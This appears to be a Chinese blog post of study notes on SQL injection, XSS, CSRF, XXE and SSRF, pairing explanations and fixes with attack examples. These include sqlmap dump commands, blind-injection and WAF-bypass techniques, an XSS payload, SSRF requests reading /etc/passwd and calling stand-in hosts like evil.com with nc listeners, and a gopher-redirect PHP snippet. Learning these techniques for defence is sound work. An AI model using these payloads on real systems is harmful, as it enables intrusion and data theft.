常见漏洞原理及修复方案

文章目录


前言

这里介绍一下常见的漏洞及其知识。

sql注入

sql注入原理

原理:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。 造成SQL注入漏洞原因有两个:一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。

sql注入危害

1.数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

2.网页篡改:通过操作数据库对特定网页进行篡改。

3.网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

4.数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

5.服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

6.破坏硬盘数据,瘫痪全系统。

sql注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

对输入进行严格的转义和过滤
使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

预编译:预编译:用占位符替代参数值,预先建立语法树。恶意语句不参与语法树的建立,所以不影响SQL语法,也就无法造成恶意注入。最初的目的是提高代码的复用性,因为有很多只有参数值不同的SQL(完全相同的SQL会从缓存里查)(预编译分为java和c,#include和#define就是与预编译头文件,Java为PreparedStatement(定义sql语句的参数)函数)

// SQL语句中的参数值,使用?占位符替代

String sql = "select * from user where username = ? and password = ?";

// 通过Connection对象获取,并传入对应的sql语句

PreparedStatement pstmt = conn.prepareStatement(sql);

sql绕过手法及常见注入手法

绕过waf手法:空格字符绕过,大小写绕过,内联注释绕过,双写绕过。

常见注入方式:
联合查询 :最常见的sql注入手法'order by ',union
报错注入extractvalue() ,updatexml() 语句
布尔盲注

1.使用 **length()**函数 判断查询结果的长度

2.使用 **substr()函数 截取每一个字符,并穷举出字符内容
延时注入(时间盲注):运用
sleep(5)**函数,使用" and sleep(5) -- qwe,发现页面延时5s后刷新,说明可以进行延时注入,if(1,sleep(2),sleep(0)),如果if中1为正确返回第二个值,错误返回第三个值,从页面刷新时间判定正确错误,两个时间差距要大一点,可能会因为网络问题导致判断出错。最后和布尔盲注一样进行字符猜解。

sqlmap常见使用方法

检测位置

-u -- 指定url(GET请求)

-p -- 指定参数(url包含多个参数时,指定参数)

--data= -- 指定POST请求参数

--cookie -- 指定cookie参数

-r -- 从文件中加载HTTP请求(在需要检测的Header后面加上*)

获取数据

--dbs -- 获取数据库名

--tables -- 获取表名

--columns -- 获取字段名

--dump -- 获取数据

-D -- 指定数据库

-T -- 指定表

-C -- 指定字段

GET请求注入:

sqlmap -u http://127.0.0.1/sqli/Less-1/?id=1

POST请求注入

sqlmap -u http://127.0.0.1/sqli/Less-11/ --data="uname=lisi"

COOKIE注入:

sqlmap -u xxx/index.php --cookie "uname=admin" --level 2 --dbs

HTTP请求头注入:

sqlmap -r target.vm --level 3 --dbs

xss

xss原理

XSS被称为跨站脚本攻击。主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。

XSS漏洞危害

恶意用户利用xss代码攻击成功后,可能会得到很高的权限,XSS漏洞主要有以下危害:

(1)盗取各种用户账号;

(2)窃取用户Cookie资料,冒充用户身份进入网站;

(3)劫持用户会话,执行任意操作;是指操作用户浏览器;

(4)刷流量,执行弹窗广告;

(5)传播蠕虫病毒。

XSS漏洞分类

XSS漏洞大概可以分为三个类型:
反射型XSS :定义:反射型XSS是非持久性、参数型跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
存储型XSS :存储型XSS是持久性跨站脚本,持久性体现在xss代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,我们在留言板位置留言,将恶意代码写进数据库中。
DOM型XSS:DOM型XSS比较特殊。owasp关于DOM型XSS的定义是基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM型XSS比较难以检测。

XSS漏洞测试

javascript 复制代码
// An highlighted block
><script>alert(2222)</script> 输入该代码进行测试

xss防范

1.检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,发现存在特殊字符,将这些特殊字符过滤或者编码。

例如:<转化为&It(实体编码)

2.字符串js编码转换成实体html编码的方法

3.在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

实体编码:

下面展示一些 内联代码片

javascript 复制代码
// An highlighted block
<、>、&、'、"在xml中是特殊符号,需要用实体表示
<	&lt;
>	&gt;
&	&amp;
' 	&apos;
"	&quot;

csrf漏洞

csrf漏洞原理

CSRF(Cross-site Request Forgery,跨站请求伪造)是一种针对网站的恶意利用。

CSRF攻击可以利用用户已经登陆或已经授权的状态,伪造合法用户发出请求给受信任的网点,从而实现在未授权的情况下执行一些特权操作。

csrf漏洞流程图

csrf漏洞利用条件

1.用户成功登陆了网站系统,能执行授权的功能

2.目标用户访问了攻击者构造的恶意URL

csrf验证

bp上有csrf自动生成恶意代码功能,复制该代码到新建文件中,后缀改为html,在登录的情况下去点击该文件运行,如果实现修改操作则代表存在csrf漏洞。

csrf漏洞分类

GET型和POST型。

csrf漏洞危害

发送钓鱼邮件、盗用用户账号、网银转账、使用他人账号购买商品等,具体的危害跟存在漏洞的具体业务系统有关。

csrf漏洞防范

增加二次验证机制

在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码。

校验HTTP Referer字段

校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同。

增加Token参数进行校验

在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。

注:csrf具体可以观看https://blog.csdn.net/xcxhzjl/article/details/121411039

XXE漏洞

XXE漏洞原理

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

XXE漏洞详情

由于XXE知识量太大,这篇文章只做为笔记使用,在这里给大家推荐一篇xxe漏洞写的很好的文章

https://blog.csdn.net/weixin_44420143/article/details/118721145

ssrf漏洞

ssrf漏洞原理

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

ssrf流程图

经典服务端请求

有道词典开设了输入网址然后将网站的所有文字翻译的功能,这就相当于服务端请求伪造,只不过不能访问自身,因此没有危害。

产生SSRF漏洞的函数和URL的伪协议

函数file_get_contents :获取用户指定URL图片上传
sockopen() :获取用户指定URL文件上传
curl_exec() :cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在"curled"文件夹下的磁盘中,并附加了一个随机数和".txt"文件扩展名。

注意

一般情况下PHP不会开启fopen的gopher wrapper

file_get_contents的gopher协议不能URL编码

file_get_contents关于Gopher的302跳转会出现bug,导致利用失败

curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用

curl_exec() 默认不跟踪跳转,

file_get_contents() file_get_contents支持php://input协议

伪协议

当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd

dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:

sftp:// SSH文件传输协议或安全文件传输协议

ldap:// 轻量级目录访问协议

tftp:// 简单文件传输协议

gopher:// 分布式文档传递服务,可使用gopherus生成payload

测试用例:

1、file

从文件系统中获取文件内容

http://example.com/ssrf.php?url=file:///etc/passwd

http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2、dict

这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 31126)CLIENT libcurl 7.40.0

3、sftp

在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337

Connection from [192.168.0.12] port 1337[tcp/*]

accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2

4、ldap://或ldaps:// 或ldapi://

LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。

http://example.com/ssrf.php?url=ldap://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldaps://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldapi://localhost:1337/ stats quit

5、tftp://

TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337

Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3

6、gopher://

Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):-<?php header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');?>

evil.com:# nc -lvp 1337

Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest

ssrf漏洞绕过

1.限制为http://www.xxx.com 域名时(利用@)

如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异

在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com

2.采用短网址绕过

比如百度短地址https://dwz.cn/

3.采用进制转换

转为八或16进制

4.利用特殊域名

原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1

5.利用[::]

可以利用[::]来绕过localhost

http://169.254.169.254>>http://[::169.254.169.254]

6.利用句号

127。0。0。1 >>> 127.0.0.1

7.CRLF 编码绕过

%0d->0x0d->\r回车

%0a->0x0a->\n换行

进行HTTP头部注入

ssrf漏网危害

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网web应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);

5.利用file协议读取本地文件等。.

6.各个协议调用探针:http,file,dict,ftp,gopher等

SSRF漏洞防御

通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

总结

仅用于个人记录学习,需要的时候反复观看,巩固基础。

参考资料

xss:https://blog.csdn.net/qq_56775626/article/details/126056516

csrf:https://blog.csdn.net/qq_43378996/article/details/123910614

xxe:https://blog.csdn.net/weixin_44420143/article/details/118721145

ssrf:https://blog.csdn.net/qq_43378996/article/details/124050308

相关推荐
油丶酸萝卜别吃4 分钟前
MyBatis中XML文件的模板
xml·数据库·mybatis
三天不学习6 分钟前
【Select 语法全解密】.NET开源ORM框架 SqlSugar 系列
数据库·.net·orm·微软技术·sqlsugar
CC呢19 分钟前
基于单片机的智能婴儿床监护系统多功能婴儿床摇篮系统
数据库·mongodb
网络安全(king)21 分钟前
网络安全攻防学习平台 - 基础关
网络·学习·web安全
李白你好38 分钟前
家用无线路由器的 2.4GHz 和 5GHz
运维·网络
嵌入(师)1 小时前
嵌入式驱动开发详解21(网络驱动开发)
网络·驱动开发
林的快手1 小时前
209.长度最小的子数组
java·数据结构·数据库·python·算法·leetcode
Hacker_Nightrain1 小时前
网络安全与加密
安全·web安全
柒烨带你飞1 小时前
路由器的原理
网络·智能路由器·php
xserver22 小时前
ensp 基于EASY IP的公司出口链路配置
网络·tcp/ip·智能路由器